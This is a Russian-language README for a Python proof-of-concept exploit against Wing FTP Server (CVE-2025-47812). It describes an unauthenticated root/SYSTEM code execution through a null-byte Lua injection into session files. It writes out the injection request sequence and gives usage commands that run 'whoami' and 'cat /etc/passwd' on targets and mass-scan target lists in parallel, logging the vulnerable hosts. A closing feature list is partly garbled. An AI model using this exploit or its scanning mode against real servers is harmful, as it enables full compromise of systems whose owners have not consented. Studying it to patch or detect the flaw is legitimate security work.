
Python PoC для CVE-2025-47812, неаутентифицированное удаленное выполнение кода в Wing FTP Server <= 7.4.3 через Lua-инъекцию с нулевым байтом в файлы сеансов
____ _______ ___ __ ____ __ ___ ____
/ __ \|__ / | / / | / / __ \/ |/ // _/
/ / / / /_ <| | / /| |/ / / / / /|_/ / / /
/ / /_/___/ /| |/ / | / /_/ / / / /_/ /
/_____/____/ |___/ |_/ \____/_/ /_/____/
Эксплойт-доказательство концепции для CVE-2025-47812, уязвимости неаутентифицированного удаленного выполнения кода в Wing FTP Server версиях до 7.4.4.
| Поле | Детали |
|---|---|
| CVE | CVE-2025-47812 |
| Затронутые версии | Wing FTP Server <= 7.4.3 |
| Тип | Неаутентифицированное удаленное выполнение кода |
| Привилегии | root (Linux) / SYSTEM (Windows) |
| Вендор | wftpserver.com |
| Автор оригинала | Sheikh Mohammad Hasan aka 4m3rr0r |
| Модифицировано | d3vn0mi |
Функция c_CheckUser() сервера Wing FTP обрезает имя пользователя по нулевому байту (%00) для целей аутентификации, но полное неочищенное имя пользователя — включая всё после нулевого байта — записывается в Lua-файл сессии. При обращении к аутентифицированному эндпоинту, такому как /dir.html, сервер выполняет этот файл сессии, что приводит к выполнению внедрённого Lua-кода с повышенными привилегиями.
1. POST /loginok.html
username=anonymous%00]]<LUA_PAYLOAD>&password=
2. Сервер аутентифицирует "anonymous" (обрезано по нулевому байту)
но записывает полную нагрузку в файл сессии → возвращает куку UID
3. GET /dir.html (Cookie: UID=<extracted_uid>)
Сервер загружает файл сессии → выполняет внедрённый Lua → RCE
git clone https://github.com/d3vn0mi/cve_2025_471812_poc.git
cd cve_2025_471812_poc
pip install requests
python3 exploit.py -u http://TARGET
python3 exploit.py -u http://TARGET -c 'id'
python3 exploit.py -f targets.txt -o vulnerable.txt -t 8
usage: exploit.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME]
[-P PASSWORD] [-v] [-o OUTPUT] [-l LOG_FILE]
[-t THREADS] [--timeout TIMEOUT] [--retries RETRIES]
[--no-verify]
target:
-u, --url URL URL одной цели (например, http://192.168.134.130)
-f, --file FILE Файл со списком целевых URL (по одному на строку, # для комментариев)
exploit options:
-c, --command COMMAND Команда для выполнения на удалённом сервере (включает подробный вывод)
-U, --username USERNAME Имя пользователя для нагрузки эксплойта (по умолчанию: anonymous)
-P, --password PASSWORD Пароль для нагрузки эксплойта (по умолчанию: пустой)
output:
-v, --verbose Включить подробное / отладочное логирование
-o, --output OUTPUT Сохранить уязвимые URL в этот файл
-l, --log-file LOG_FILE Записывать подробный лог в этот файл
network:
-t, --threads THREADS Количество потоков для сканирования нескольких целей (по умолчанию: 1)
--timeout TIMEOUT Тайм-аут HTTP-запроса в секундах (по умолчанию: 15)
--retries RETRIES Количество повторных попыток при сбое соединения (по умолчанию: 2)
--no-verify Отключить проверку SSL-сертификата
# Проверка одной цели
python3 exploit.py -u http://192.168.1.10
# Выполнить 'whoami' и увидеть полный вывод
python3 exploit.py -u http://192.168.1.10 -c 'whoami'
# Сканировать список в 8 потоков, записать всё в файл лога
python3 exploit.py -f targets.txt -t 8 -l scan.log -o vuln.txt
# Использовать собственные учётные данные с отключённой проверкой SSL
python3 exploit.py -u https://10.0.0.5 -U admin -P secret -c 'cat /etc/passwd' --no-verify
# Режим подробного вывода для отладки
python3 exploit.py -u http://192.168.1.10 -v
--log-file-t для больших списков--retries)--no-verify для самоподписанных сертификатов# и автоматическое удаление дубликатов-c показывает полный вывод командыЭтот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированный доступ к компьютерным системам является незаконным. Авторы не несут ответственности за любое неправильное использование или ущерб, причинённый этим инструментом.